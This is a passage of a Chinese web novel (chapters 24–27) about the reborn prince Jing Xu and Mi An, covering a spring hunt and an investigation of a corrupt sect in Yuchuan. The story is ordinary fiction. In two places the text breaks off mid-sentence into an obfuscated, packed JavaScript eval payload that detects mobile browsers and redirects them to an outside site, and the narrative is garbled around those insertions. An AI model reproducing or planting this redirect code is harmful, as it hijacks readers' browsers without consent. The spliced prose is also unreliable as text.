宓安接过布巾,说道:“最近总是犯懒,快开春了,可能是蛊虫要醒了。” 景煦心头一紧,宓安立刻按住他,笑道:“犯懒而已,不是大事。” “这还不是大事?我那时就没有犯懒。” “你不是说过,你的内力至阳,蛊虫奈何不了你。”宓安打了个哈欠,“我现在是蛊虫和蛊毒两方拉扯着,却只是犯懒而已,当然是小事。” 景煦嘴唇动了动,不知道在嘟囔什么,宓安凑近听了听,这人又在说一些明知会挨打的话:“所以我说把蛊引给我最好了,起码蛊虫在我这没什么作用。” “国师说了让我们什么时候出发吗?” “他说清明。” 宓安点点头:“那还能赶上春猎。” “阿宓想去春猎?” “不去。”宓安穿好衣裳,“只是那片桃花林十分茂盛,我要去偷点桃花酿酒。” 景煦失笑:“怎么能叫偷,你想要去摘就好了。” 将军府的管家敲了敲门,问宓安有没有起来,担心宓朗回亲自来叫人,宓安连忙抓起大氅跑去了内堂。 景煦笑着跟在他身后:“难得见阿宓如此惊慌。” “少说风凉话!” 饭桌上,宓朗回面色不悦,看了两人一阵,开口道:“再过一个月就要春猎了,长昱今年是否参加?” 景煦飞速扫了宓安一眼,宓朗回“啪”一声把筷子放下:“你看他做什么?你还没登基,青疏不许招摇!” 宓安闷头吃饭,对景煦求助的目光视而不见。 “那让青疏在桃花林里看个热闹?”景煦冲宓朗回笑了笑,“总把人关在府里,都闷坏了。” 宓朗回冷哼一声,碗也放下,起身走了。宓安偷偷瞄了一眼他爹气愤的背影,小声道:“我就说他需要下火吧?开春我就让小九去多摘些连翘。” - 大渊的春猎旧俗在每年三月,桃花开时。猎场依山而建,当年为博慧娴皇后一笑,太祖皇帝命人将半山腰的平地围了起来,种满了桃花。每年春日桃花盛放,太祖都会带着慧娴皇后来这里对饮赏花。许是言官多话,后来就有了这一片猎场,上巳节的春猎武试也这样沿袭了下来。 按照旧历,各皇子会一起参加春猎,一来能在皇帝面前展现武艺,二来也能在考生面前露露脸,拉拢拉拢人才。前世每年春猎,景煦都只是走个过场,他和景烈不一样,不需要用这些无关紧要的东西讨皇帝喜欢。 重来一世,今年春猎,景煦因着宓安要来难得有了兴致。 宓安还在维持已然摇摇欲坠的“体弱多病”传闻,便理所当然地跑到了桃花林躲懒,现下正靠在栏杆上俯瞰猎场。 景煦今日未束冠,只将长发简单绑了个马尾,换了身湖水蓝圆领,握着一把长弓,策马进了猎场。清澈的湖蓝与这以浅绿浅粉为主色调的春日相得益彰。 一旁的景烈满目怨恨,死死盯着那抹浅色的身影。景烈从小就处处被景煦压一头,本身还算优秀的皇子在景煦的对比下倒显得文不成武不就,本想着趁春猎好好在景陆面前露露脸,没想到又被景煦抢了风头。 宓安从没见过景煦穿这样清雅的颜色,他身上总是玄色居多,偶尔穿穿靛蓝,前世做了皇帝就更是黑金的龙袍不离身了。重生后也只是常穿他送的那件赤缇长袍,这般清新素雅,倒冲淡了景煦身上的冷冽气质,让宓安眼前一亮。 那边景煦似乎感觉到了什么,朝桃花林的方向看了一眼,转过头,策马疾驰,拉弓搭箭。 侍卫放出的野兔、野鹿、大雁一齐挣脱束缚,朝林中逃去,场面十分混乱。景煦气定神闲,策马向前,一箭射穿两只大雁。未等众人捧场道贺,只见三箭齐发,箭支随着狂奔的野兽消失在了林间,半晌,有侍卫拎着野兽尸体小跑过来,众人定睛一看,竟是个个一箭穿喉。 野兽四散不过片刻,景煦竟然片刻间连发四箭,一箭双雕、百步穿杨。箭法超绝的昭王殿下,利箭能于万军之中取对方首领性命,区区野兽,易如反掌。 猎场上嘈杂起来:“嚯!一箭双雕!” “真不愧是昭王殿下啊!” “殿下厉害!” “我才射到一只!殿下这是怎么做到的!?” “你能跟殿下比?” “……” 宓安远远看着,莫名听到了自己的心跳声,一声一声,震如鼓擂。 众人的惊叹声源源不断,而马上的人波澜不惊,又朝桃花林的方向看了一眼,笑着歪了歪头。 宓安看见他笑,突然也笑了起来。前世两人蹉跎许多年,景煦虽然对着宓安的时候还是好脾气,但在数十载的权谋与算计中,他不得不成为一位成熟的帝王,喜怒无常、杀伐果决,说一句暴君都不为过。宓安爱他这件事不可否认,但他们少年相识,宓安也曾无数次透过眼前的帝王看向二十年前的少年郎。 这一刻,宓安好像重新在景煦身上看到了那个,前世时甚至不曾入他梦来的,意气风发的少年。 春风带起片片桃花,少年银鞍华裳,意气飞扬,宓安远远看着马背上的人,一时不知道是隔着岁月山河的遥遥相望,还是真的得上天眷顾与他久别重逢。他以为活了两世,对景煦的爱已经是与衣食住行无异的常态,却仍然在这一瞬怦然心动。 却见景煦策马走近了一些,抬头与靠在栏杆上的宓安遥遥相望。宓安今日也难得穿了件粉色衣衫,几乎与桃花融为一体。春风骤起,桃花碎了一地,又纷纷扬扬飘起,宓安像小花神一般,抬手拂去肩上落花,隔着满天飞花冲他扬起一个笑。 刹那间,一枝桃花直直向景煦飞来,后者却不闪不避。那枝桃花破风而来,带着凌空之势,偏偏到了景煦眼前就卸了力,轻飘飘地落到了他手里。 景煦笑了起来,将花枝簪到头上,远远冲宓安挥手。 宓安爱花,春日桃花酿酒,夏日荷露煮茶,秋日落英也能让人做成酥饼,冬日那香味清冽的寒梅,更是做成了香囊日日佩着。 景煦记得,宓安一直是这样的。爱花爱茶,爱世间一草一木。儿时他便总是跟着师父游山踏水,回来时会带一张自制的花笺给他。 他就该是这样的,折花酿酒,采露煮茶,笑意盈盈,自在如风。 前世是从什么时候开始,宓安变得总是愁眉不展了呢。 是他最开始不让人出宫时,还是他半哄半骗的一夜荒唐后? 或许还要更早,早到他刚刚登基时。 他不愿宓安离开他,更不愿看到宓安愁容满面。景煦想,如果这次宓安还是更想要去看世间山河,他一定不会再将人留下了。 什 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宓安仰头任他动作,呼吸逐渐混乱,欲拒还迎地推推身上的人,笑道:“当心被人看见。” “阿宓惯会撩拨我。”景煦意犹未尽地又亲了亲怀里的人。 有宫人摸索着进了桃花林,高声喊道:“请问昭王殿下与宓少师可在此处?” 两人对视一眼,宓安立刻起身走远,景煦忍住笑意扬声道:“何事?” “回殿下,国师有请。” 现在枨衔水说话对景煦来说是前所未有的重要,一听国师有请,景煦立刻跳下树,应了声“知道了”。 桃花盛放,风乍起,乱红如雨,景煦回头望去,来时就没有走正路,现在也不知道从何处下山了,于是揽住宓安直接从山腰跳了下去,脚下轻点,借着山壁的力一路飞到了山脚下。 景煦将宓安塞进马车里,亲自驾车向宫中驶去。 宓安哭笑不得:“着什么急?” “当然着急。”景煦虽然着急,马车却稳稳当当,不会颠簸着宓安,“你最近越来越贪睡了,我担心。” 宓安叹了口气,他近日确实有些睡不醒,但还是安慰道:“春困而已。” 占星台十年如一日的静谧,只有景煦来时才有一丝人气,现下昭王殿下毫不客气地推门就进,开门见山道:“能出发了?” 枨衔水看见景煦就生气,答非所问道:“昭王殿下,我冒昧地问一句,您这回又是因为什么不想做皇帝了?” 宓安一愣,奇怪地看向景煦。 景煦嘴硬:“胡说。” 枨衔水将卦象打乱,说道:“你发誓,这次回来好好做皇帝,否则我就不告诉你怎么救他。” 景煦好笑道:“威胁我?” 枨衔水点头:“是。” 他这么直接,景煦反而无话可说,更何况现在确实只有枨衔水能救宓安,也只好点头道:“行,我发誓。” 枨衔水的目光落到宓安身上,景煦的声音冷了下来:“你不要得寸进尺,我不可能用青疏发誓。” 枨衔水自然不会这般过分,说道:“清明那日,卯时动身,一路向西南去。” “没了?” “没了。” 景煦道:“多给些提示,你也不想我死在外面吧?” 他口无遮拦,宓安听得生气,抬手给了他一巴掌,景煦捂着头可怜巴巴地回头:“疼。” 枨衔水咬牙切齿:“天机不可泄露!不可泄露!我只能说你们此行必定顺利!其他的事自己解决不了吗?你们两个是小孩子吗?” 宓安礼貌道谢,拖着景煦往屋外走去,身后枨衔水的声音幽幽传来:“你今日这花簪真丑。” 景煦回过头,言辞讥讽又炫耀:“这是青疏亲手折的,你羡慕唔唔……” 宓安一把捂住景煦的嘴,顶着国师杀人的眼神离开了占星台。 25. 预川 人间四月,春花落败,宓朗回又拎起了那根一拳粗的棍子。 景煦无奈道:“真的是我的主意,您能不能别总是吓唬青疏?” “你小子,什么态度!” 景煦点头敷衍:“您把棍子放下我态度就好了。” “大皇子一直有意培养势力,这时候离京,你是怎么想的?” 景煦道:“景烈不足为惧,朝中也有我的人盯着。此行是去姑师找那笔金子,我私下和老头说过了。” “那他呢?”宓朗回指着宓安,“青疏跟着做什么?” 景煦理所当然地说道:“青疏的医术毒术天下无双,有他在必然事半功倍。” 宓朗回只当他们是热情上头一刻也分不开,便也不再说什么,挥手让两人离开了。 临走时宓安还认真交待,少生气,多吃连翘,被宓朗回骂了才走。 清明一早,宓安与景煦给两位母亲的灵位上了香,一同踏上了去南疆的马车。 长安往南已经有些热,景煦着急赶路,恨不得明日就到南疆,宓安却被勾起了儿时的玩心,想要一路边走边玩。 “国师说了,不着急。”宓安觉得自己十分占理,“而且我现在已经不犯困了。” 景煦拿出了枨衔水给的铜钱,宓安目瞪口呆,难以置信道:“国师说‘若有大事’,这种小事你就要用掉?” “这怎么是小事?”景煦随手一抛,两枚铜钱正面朝上落到了地上。 宓安低头看铜钱,问他:“你问的什么。” 景煦面色不悦,说道:“我问‘是否要听阿宓的’。” 宓安高兴了,安慰道:“国师连时空都能扭转,他说不急就肯定不急。” 不得不说,前世今生景煦都看不惯枨衔水也是情有可原。 常驻预川的江湖门派名为“南兴楼”,楼主宫辽是个年轻男子,南兴楼在预川风评不错,听说常常施粥送米,开仓济民。 还有一则传闻说老楼主宫南兴有十几个儿子,宫辽手刃了所有兄弟,登上了楼主之位。 乍一听这传闻,宓安觉得十分好笑,对景煦道:“区区江湖门派的头领,怎么听起来比你登基还难?” 景煦笑道:“传闻而已,宫南兴哪有这么多儿子。除了朝青,其他门派都只是盘踞一方,没什么值得注意的。” 宓安“哦”了一声:“所以你登基后只对朝青下手。” 景煦哭笑不得地拿糕点喂他:“怎么又翻旧账?” 二人在雅间里说说笑笑,忽然听到隔壁进了人,有女子哭哭啼啼的声音传来:“大人……我家那口子活生生的一条命,就这么算了吗?” 回答她的是个有些年迈的男人:“唉……南兴楼势力庞大,官府也得罪不起啊。这样,我自掏腰包,这是三百两银子,就当替你女儿作嫁妆了,你意下如何?” 女子哭道:“大人,究竟是得罪不起,还是官府早就与南兴楼狼狈为奸了!?” “话可不能乱说。”男人的声音冷了下来,又传来“当啷”一声,似乎是银子放在桌上的声音,“人死不能复生,夫人可要为年幼的女儿着想。” 女子的声音渐渐低了下去,听着那位“大人”离开了雅间,景煦打了个手势,暗卫立刻会意,两人悄无声息地跟了出去,一人去了隔壁,将那女子请了过来。 景煦与宓安气质出众,衣裳料子也是肉眼可见的贵重,女子小心翼翼地行了礼,颤声道:“见过二位贵人。” 宓安倒了杯茶,推到了桌边,笑道:“别紧张,坐。” 女子局促地坐在两人对面,宓安问道:“不知姑娘如何称呼?” “奴家贱名乔泽兰。” 宓安摇摇头,说道:“泽兰入药,可有大用,怎会是贱名,乔姑娘不要妄自菲薄。” 他语气清浅,让人心安,乔泽兰悄悄松了口气,没有那么紧张了。 景煦问道:“方才听乔姑娘与那大人谈话,似乎与南兴楼有关?” 乔泽兰见二人满身贵气,一咬牙起身跪了下去:“求贵人为我夫君做主!” 宓安示意暗卫将人扶起来,安抚道:“发生了何事,姑娘细说便是。” 乔泽兰满面悲凉,缓缓道来:“南兴楼有位堂主,名叫杜天德,那日我在街上卖帕子,杜天德喝多了酒,调戏于我,见我不从,便让人砸了我的摊子。后来不论我到何处摆摊,都有人过来闹事,我实在无法,就对夫君说了此事。那日他说要去向南兴楼讨个说法,却十几日都没回家,音讯全无。直到五日前……” 乔泽兰越发哽咽,宓安递了张帕子给她,乔泽兰道了谢,继续说道:“五日前,住在我家隔壁的阿伯上山砍柴时发现了我夫君的尸体……我夫君遍体鳞伤,手指都掉了好几根!” “我去报官,官府的人却说是意外失足。我不能相信,我夫君的手指明明是被刀砍掉的!” “我在县衙门口闹了几天,张师爷便让我来此处与他见一面。方才那位就是张师爷。” 乔泽兰眼睛通红,将怀里的银子拿了出来,捧到二人面前:“我夫君的命,就值这三百两银子!” “太过分了!”影十三忿忿不平,倒挂在窗外骤然出声,吓了宓安一跳。 景煦不满地瞥了他一眼:“一惊一乍的做什么,你不是去跟人了?” 影十三翻进屋里,行了一礼:“主子恕罪。那人与一个穿红褐色衣服的男人见了一面,只说了句‘告诉杜堂主,已经摆平了,答应我家老爷的事别忘了’。” 乔泽兰激动道:“那就是南兴楼的人!” “想必他口中的杜堂主就是这个杜天德了。”景煦让影十三滚回房顶,说道,“姑娘放心,一会你去将你女儿接来,这几日你们且安心住在清云客栈。” “清云客栈?”乔泽兰不放心地问道,“听说那是朝青的产业,南兴楼对朝青很是忌惮,安全是安全,只是太贵了……” “无妨,银子我出。”宓安道,“姑娘倒是很清楚这些门派间的恩怨?” “不瞒贵人,我夫君略懂拳脚功夫,他生前曾想加入南兴楼,常常提起各个门派,听多了也就记住了。” “原来如此。”宓安笑道,“先安心住下吧,南兴楼在预川声望颇高,杀一个杜天德治标不治本,待我们从长计议。” 乔泽兰恭恭敬敬地向二人行了一礼:“多谢贵人。” 景煦派了两个暗卫护送乔泽兰回去,宓安丢给他们两个银铃:“拿着这个。” 几人走后,景煦好奇道:“那便是阿宓上次提到的银铃?” 宓安点点头:“好用的很。” “也给我一个。” 宓安好笑道:“那是下属对暗号用的,你要来做什么?” 景煦理直气壮道:“要来好看。” 宓安翻他白眼:“幼不幼稚。” “那阿宓给暗卫几个,顺便教教他们怎么辨别暗号。”景煦托着腮冲他笑,“都是一家人了。” 宓安想了想,点头道:“可以。你让暗卫拿着令牌直接去朝青拿就好,暗号的话找……预川是谁在管事来着?” 想了好一会儿,宓安才道:“忘记了,总之拿着令牌去,管事的自然会露面的。” 景煦幽幽地看着他,宓安与他十分默契,笑道:“你想的没错,这边也麻烦昭王殿下打理一下了。” “虽是都是小事,到底也是隐患。”景煦叹了口气,“京城那边乱接杀人生意,预川这边又是什么事?我猜八成是收钱装瞎了。” 朝青规矩森严,不可为恶,对普通百姓能帮则帮。只是天高皇帝远,在预川立足的朝青,自然不像在宓安眼皮底下那样听话谨慎。不作恶,但也不作为。 “只是强龙不压地头蛇,南兴楼到底盘踞此地多年,朝青要插手需费很大功夫。”景煦道,“既有钱拿,又不必干活,傻子才乖乖听你的。” 宓安笑了下,语气冷漠:“南兴楼作恶多端,朝青管事不可能不知。却连封信都没给过我,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宓安微不可查地叹了口气,小声对景煦道:“外人果然还是不可尽信。” 他的意思是景煦的暗卫与景煦从小一起长大,几乎算得上半个家人,对比之下朝青的人自然就生疏许多,但清泉不知其中深意,以为宓安对自己疑心,连忙告罪道:“主子恕罪!属下这条命是主子救的,对主子绝无二心!只是南兴楼在此多年,朝青若是插手他们的事,实在是……” “所以你就擅自做了决定?”景煦笑意不达眼底,“这朝青的主人究竟是你,还是青安?” 清泉后背发凉,颤着声音道:“主子……恕、恕罪……” 宓安扫了一眼战战兢兢的众人,笑道:“看来各位的想法都与清泉不谋而合。” 他虽然带着笑,却让人莫名听出一丝冷意,众人齐齐躬身行礼:“属下唯主人之命是从!” 宓安并不在乎他们嘴上的衷心,问道:“另一位管事呢?” 有人回道:“回主子,清欢昨日出任务,还没回来。” “先将清泉关进地牢,这些时日的事务我亲自处理。”宓安起身,交待道,“我留两个人,有事让他们找我。” “遵命。” 景煦点了两个暗卫留在朝青,宓安觉得眼生,多看了几眼,景煦立刻盯住了他,宓安瞪他一眼,起身走了。 “我想去乔姑娘夫君尸体被发现的地方看看。”出了朝青,宓安若有所思,“清欢出任务也有些奇怪,预川这边有什么是需要她亲自去的?” 景煦道:“天高皇帝远,阿宓的属下不太听话了。” “现在是你的了。”宓安胸无大志,“前世此时我似乎收到了清欢的死讯,只是那时北夷发兵,紧接着先帝驾崩,就没顾上。” 这次北夷的阴兵溃不成军,倒是免了一场战乱。 “我登基后,阿宓是不是也在处理朝青的事?” 宓安道:“当然了,都怪你整天在寝殿批折子,害得我只能趁天不亮你上朝时溜出宫去。” 他说起这个就生气:“你知不知道晚睡早起很折磨人的?” 景煦笑着揽过他:“我知错了。难怪那时阿宓总是旷早朝,我以为是生我的气,原来是熬夜熬的。” 宓安很不给他面子,冷笑道:“不,就是被你气的。” 26. 默契 两人到了乔泽兰家的小村,白日里竟家家户户门窗紧闭,景煦让暗卫去敲门,最有人味儿的影十三立刻出现,边敲门边喊道:“请问有人吗?我们是过路的行客,可否讨碗水喝?” 敲了一会儿,木门开了一个缝,一个黝黑干燥的手端着一碗水递了出来。影十三接过,慢慢抿了一口,问道:“老人家,这大白日的,您怎么门窗都关着?” 屋内的老人显然不欲多说,伸出手来想拿回碗,宓安走近,低声道:“老人家,我们是乔姑娘的朋友。” 那只手一顿,门终于缓缓打开,露出一张有些憔悴的面庞。老人打量着眼前的人,将信将疑地说道:“她不在家。” 宓安温声道:“她和女儿在清云客栈,我让人守着呢。” 老人似乎松了口气,开门让几人进屋,赶紧关上了门:“我们都以为她让人给害了!” “何出此言?” 老人又看了一眼门窗,确定都关的严严实实的,才对二人说道:“上个月,乔姑娘挨家挨户问有谁见过她家万仲,说是大半个月没回家了。说来也怪,平日里街里街坊的出个远门大家都知道,竟然谁都没见过万仲。直到前些日子我上山砍柴,老远看见树上挂着个人,浑身都是血!我赶紧下来叫了几个年轻的,谁知道将人放下来一看,可不就是万仲!” “人已经死的透透的,手指头都让人砍掉了好几根。乔姑娘报官,人家官府就来看了一眼,说是意外失足就没下文了。乔姑娘死活不信,天天去衙门口哭,昨日听说张师爷有事找她,就再也没回来!我们可不是以为她被官老爷灭了口呦!” 景煦总觉得哪里奇怪,宓安称呼乔泽兰为姑娘只是为了安抚她,拉近关系更好套话为何这老人家也如此称呼?他这么想着,直接问了出来。 老人说道:“贵人有所不知,这乔姑娘原本是城东乔员外家的小姐,常常带人来施粥送粮。后来乔家说她与人私通,将人赶出了家门,她这才与万仲成了亲常住下来。但我们这些人叫她乔姑娘是叫惯了的,便也没有改口。” 说完,他像是怕二人对乔泽兰有成见,连忙替她解释道:“与人私通这事是乔家说的,但我们都觉得,乔姑娘这样的大善人,定然不会做这样的事。” 宓安问道:“乔姑娘与她夫君感情很好?” “这……平日看着,应该是挺不错的。” “您发现尸体的地方就是旁边这山上吗?” “正是,进了山走不了多远有棵岔树,万仲就在那上头挂着!” “多谢老人家。”宓安起身道谢,“乔姑娘很安全,您让大家不必担心了,白日里多通风才好。” 老人连声道谢:“谢谢贵人,谢谢贵人。” 山路崎岖,中间却有一条相对平缓的小道,许是这里世世代代上山砍柴的人慢慢开辟出来的。 走了不远,果然看到了那棵岔树,树上的血迹已经干涸,洇在树上乌黑一片。 “有毒。”宓安拉住景煦,“你别动,我去看看。” 景煦无法,只好停在原地,却见宓安走过去凑近看了看,转身冲他招了招手。 景煦走近,问道:“怎么了?” 宓安脸色不太好,说道:“是微兰。” “是你的毒?” 宓安制的毒刁钻且无人能解,他自己与景煦却是不怕的,眼前的毒,正是出自他手。 “本以为朝青只是冷眼旁观而已,现在看来不止如此。”景煦嗤笑一声,敢让宓安烦心,他有的是手段教训这些见钱眼开的东西。 宓安道:“那日乔姑娘说万仲略懂拳脚功夫,南兴楼的堂主应当武功不低,如果只是略懂,何必用毒呢?” 景煦若有所思,说道:“你怀疑万仲不简单?” 宓安一笑:“南兴楼忌惮朝青这种事到底丢人,普通百姓怎会知晓。说不定万仲与那杜天德还是老相识呢。” 景煦耳尖一动,与宓安同时看向了不远处的树丛,二人对视一眼,这次景煦拦住了宓安,自己走了过去。 在矮树枝叶的遮掩下,有一女子遍体鳞伤,单手握剑强撑着自己立起身,见景煦过来,警惕地后退了两步,虽然虚弱,却杀气腾腾:“你是什么人?” 景煦看了她一会儿,似乎在努力辨认她身上这件眼熟的衣裳,宓安见他不说话,走近些问道:“有人?” 那女子听到宓安的声音,浑身一震,像是拼尽全身力气,向前走了几步。宓安见状有些奇怪,试探着催动银铃,给了她一个暗号。 女子最后一丝精神随着铃声彻底耗尽,叫了声“主子”就晕了过去。 景煦看着鲜血淋漓的人,咬牙切齿道:“真是好样的,伤成这样都死撑着,看见你就放心晕了?” 这女子正是昨日出任务未回的另一位管事,清欢。 宓安喂给她一粒药丸,无奈道:“今夜我就教你银铃暗号,等你认出衣裳,清欢的魂都过了奈何桥了。” 景煦让暗卫将人背回清云客栈,替自己辩解道:“我见她并无内伤,阿宓肯定能救。” 宓安瞥他:“那不教了。” “不行!” 景煦生硬地转移话题:“乔泽兰在清云客栈的事南兴楼应当已经知道了,青安公子下一步如何打算?” 没等宓安回答,景煦又道:“让为夫猜猜,是不是要去当地府衙将知府打一顿,然后调孟兆兴上任?” 宓安看向他,笑道:“昭王殿下真了解我。那我也猜猜,暗卫怕不是已经在去翠华村的路上了?” “唔,阿宓也很了解我。” 宓安道:“不过我可不是去打他的,还要借他的手粉碎南兴楼济世救民的假象。” 景煦离京这事朝上无人知晓,那日宫宴上承认自己是朝青主人的事也被他压了下来,乌南什还以为自己与宓安是盟友,也不敢轻举妄动。 所以毫无准备的预川知府卢牧得知昭王殿下已经到府衙大堂了,连滚带爬地从青楼飞奔回了府。 “昭王殿下恕罪,下官、下官在外办公,有失远迎,殿下恕罪!” 未见其人,先闻其声,卢牧气喘吁吁地边跑边喊,跑到景煦面前“扑通”一声跪了下来,丝毫没有停顿。 宓安淡淡地看他一眼,说道:“卢大人,太胖的人容易短命,少吃些山珍海味,多养生吧。” 卢牧不认得宓安,但能与景煦同行必定是京中贵族,也不敢怠慢,连声称是。 景煦任他跪着,自己喝了口茶,称赞道:“这茶入口温润,唇齿留香,本王府中都没有这样好的茶。” 卢牧冷汗频频,赶紧说道:“殿下喜欢,下官让人包些给殿下带着。” 宓安笑道:“祁门茶确实名贵,宫里也少见。” “卢大人好口福。” 二人你一言我一语,根本不给卢牧插话的机会,张师爷正想悄悄退出大堂,被眼尖的影十三叫住:“张师爷要去给谁通风报信呢。” 张泰停住脚步,故作镇定道:“草民想去让人给殿下包些茶叶,这位大人言重了。” 景煦喝了口茶,说道:“本王以为张师爷要去与杜天德叙旧呢。” 张泰紧张得腿发软,强撑着笑道:“殿下说笑了,草民并不认识杜堂主,何来叙旧一说?” “哦?可是今日有位乔姑娘对本王哭诉冤情,她说张师爷与南兴楼蛇鼠一窝,害她夫君性命,可有此事?” 张泰心里狠狠骂了乔泽兰一通,跪在卢牧身后为自己喊冤:“殿下明鉴啊,小人只是个无官无职的师爷,如何能与南兴楼搭上线啊?” 宓安盯着杯子看茶叶打圈,语气随意:“你搭不上,卢大人呢?” “您、您说笑了……” 宓安笑了出来,看向两人:“殿下与我千里迢迢到预川,就是专程来与卢大人说笑的?” 卢牧早就听过昭王的威名,赵盼山下马就是景煦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648331|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手笔,但他实在想不通,有朝青和南兴楼坐镇,究竟是谁有这么大的本事将消息传了出去? 景煦还不着急处置卢牧,孟兆兴还没到,知府没了他就要待在这审案了。本着不能累着自己的原则,景煦让暗卫将卢牧和张泰关在了大堂内,又吩咐人将公文都搬了过来,自己则理所当然地在府衙住下了。 景煦到了府衙就让人将消息传了出去,宓安也让人将青安已到预川的消息放了出去,果不其然,当晚暗卫就来报,南兴楼的人找到了朝青,说是宫辽想约青安一叙。 虽然目的达到了,景煦还是忍不住阴阳怪气道:“叙什么,有什么好叙的。” 宓安好笑地揉了一把他的头,故意道:“走了。不用等我用晚膳了。” 景煦咬牙切齿:“阿宓!” 宫辽选的地方是一只画舫,江上灯火通明,宓安到时,已有几位歌女等在船上。素手撩起层层薄纱,为宓安让出一条路,舫内端坐一名身穿红褐色衣裳的年轻男子,称得上俊朗。 见宓安进来,宫辽起身相迎:“南兴楼主人宫辽,见过青安公子。” 宓安客气疏离:“宫楼主客气了。” 宫辽笑道:“朝青虽从不参与江湖之争,但青安公子的大名如雷贯耳,在下亦是倾慕许久。今日难得一见,定要好好喝上几杯。” 宓安轻轻挥手,刚刚被歌女撩起的薄纱骤然落下,遮住了旁人的视线,宫辽眼神微变,称赞道:“青安公子年纪轻轻,武学造诣却远超在下,实在佩服。” 宓安对他并不真诚的赞扬左耳进右耳出,笑道:“宫楼主不妨有话直说。” “青安公子爽快。”宫辽拿过一个锦盒,盒中是一块形状奇特木料,“听闻朝青主人医毒双绝,这灵杨木是难得的药材,可遇不可求。在下愿以这一方灵杨木,换朝青相助,除去昭王。” 宓安听了,不由好奇起来,平日也不见景煦对朝政上心,没想到他竟然这么遭人恨。 “除去昭王,对朝青并无好处。”宓安轻晃手中酒杯,“且昭王身侧高手如云,这买卖不太划算。” 宫辽道:“自然,事成之后,南兴楼愿以黄金万两答谢朝青。” “楼主倒是大方。”宓安笑了一下,状似不经意地问道,“不知南兴楼花了多少银子,向清泉购买微兰呢?” 宓安亲自制的毒从不外传,宫辽自然是知道的,便也识时务地告罪道:“在下实在是有必需之处。清泉只卖了微兰,并未给解药,在下以为这是得了青安公子授意,没想到是他自作主张。” 这话倒是将自己摘了出去,宓安冷漠道:“无妨,不听话的下属杀了就是。” 宫辽一笑,不置可否。 “近日在下听说了一个传闻,有人说朝青是朝廷的产业。”宫辽语带试探,“各大门派与朝廷向来泾渭分明,朝青虽从不过问江湖诸事,但应当也不会如传闻这般离谱吧?” “若我说是,你待如何?”宓安抬眼,语气危险,宫辽本能侧身一避,手下发力撑起身子,飞身远离了宓安。 宓安将镯子掩回衣袖中,遗憾地摇了摇头,果然还是不太好用。 “这是何意?”宫辽冷冷看着宓安,“在预川对我出手,青安公子未免太过狂妄了。” 宓安但笑不语,宫辽身后,一个阴沉的男声不知从何处飘了出来,他说:“你算什么东西,对你出手还需要瞻前顾后?” 宫辽头皮发麻,猛然转身,环顾四周却没发现任何人。画舫周围有南兴楼高手待命,竟然有人能神不知鬼不觉地混进来,宫辽暗叫不好,就想离开,宓安的软剑鬼魅般缠了上来,将他牵制住无法脱身,画舫四周的帷帐纷纷落下,将内部景色遮得严严实实。 与此同时,景煦掂了掂手里的小刀,瞅准时机,手腕一甩,小小的刀片悄无声息地凌空而去,划开了宫辽的喉咙。 鲜血喷溅而出,直至咽气,宫辽都不知道自己是死于何人之手。 27. 异心 宓安诚恳地赞叹道:“好厉害。” “阿宓也厉害。”景煦凑过去偷了个香,“难得见阿宓出手,真是赏心悦目。” 宓安被他夸得脸红,逃避似的从袖子中拿出一张软皮面具:“来吧,给你易容。” 景煦皱起了眉头,有些抗拒:“不能让暗卫来吗?” “他们太呆了。”宓安摘下面具,说道,“让暗卫把宫辽的尸体处理了,你坐下。” 景煦仰着脸任他动作,还能腾出嘴夸宓安:“阿宓太厉害了,连易容都会。” “对了,让暗卫偷件衣裳去。”宓安突然想起来,“死人身上扒衣裳有些晦气。” 收拾妥当,宓安又戴好了面具,景煦凑近又要亲他,宓安偏头躲开,嫌弃道:“顶着这张脸不许亲我。” 景煦委屈道:“怎么这样!” “灵杨木拿着。” “哦。” 两人并肩出了画舫,景煦挂上了和善的笑容,南兴楼的人方才被帷帐遮住视线,现在都挡在了出口处,举着剑严阵以待。 景煦扫视了一圈,温声道:“都退下吧。” 宓安笑道:“今日之事就定下了,宫楼主放心。” 景煦客气道:“那便多谢青安公子了。” 两人自此分别,杜天德见人走远,上前问道:“楼主,他答应了?” “自然。” 杜天德奇怪道:“天师不是说青安和昭王关系匪浅吗?会不会是假装答应,打算对付咱们?” 景煦道:“也有可能。天师在何处?” “天师说明日辰时来见楼主。” “好,你们先回吧。”景煦着急去找宓安,不想再和这些人浪费时间,杜天德问道:“楼主去哪?” 景煦笑道:“我去哪还要跟你报备?” “属下不敢。” 打发了杜天德,景煦缓步走出一段,见四下无人才飞身回了府衙,宓安见到他愣了一下,才反应过来眼前的人是谁,笑道:“还是你的脸比较好看。” 景煦“哼”了一声,说起了正事:“杜天德提起了一个天师,他知道我们关系匪浅,明日我去会他一会。” “除了国师我谁都不信。”宓安现在对枨衔水有着空前信任,其他人在他眼里都是神棍。 景煦调侃道:“不是‘那不知是死是活的的国师’了?” 宓安摆摆手:“那时年轻不懂事,国师说不定就是神仙下凡。” 说完,宓安看了景煦一会儿,犹豫道:“你今晚去南兴楼睡吧?” 景煦:“?” “重新易容太麻烦了,反正明早你也要去。”宓安将灵杨木泡进水里,也不看他,“不然你就去睡隔壁,自己选吧。” “阿宓,我感觉不到你对我的爱了。” 宓安抬头看了他一眼,立刻收回了视线,说道:“灵杨木能重塑经脉,我要去朝青给清欢制伤药,你……” 景煦满目哀怨:“我也要去。” “那你穿个斗篷遮遮脸。” 清欢已经醒来,见宓安坐在桌前,就要起来行礼,一旁的掌柜连忙将人扶住:“管事,主子说了让您好好养伤。” 宓安示意掌柜将药喂给清欢,问道:“发生了何事?” 